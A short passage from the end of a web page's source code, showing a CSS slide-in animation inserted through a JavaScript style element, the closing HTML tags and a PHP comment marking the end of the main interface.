                    transform: translateX(100%);
                    opacity: 0;
                }
                to {
                    transform: translateX(0);
                    opacity: 1;
                }
            }
        `;
        document.head.appendChild(style);
    </script>
</body>
</html>
<?php
// End of main interface
?>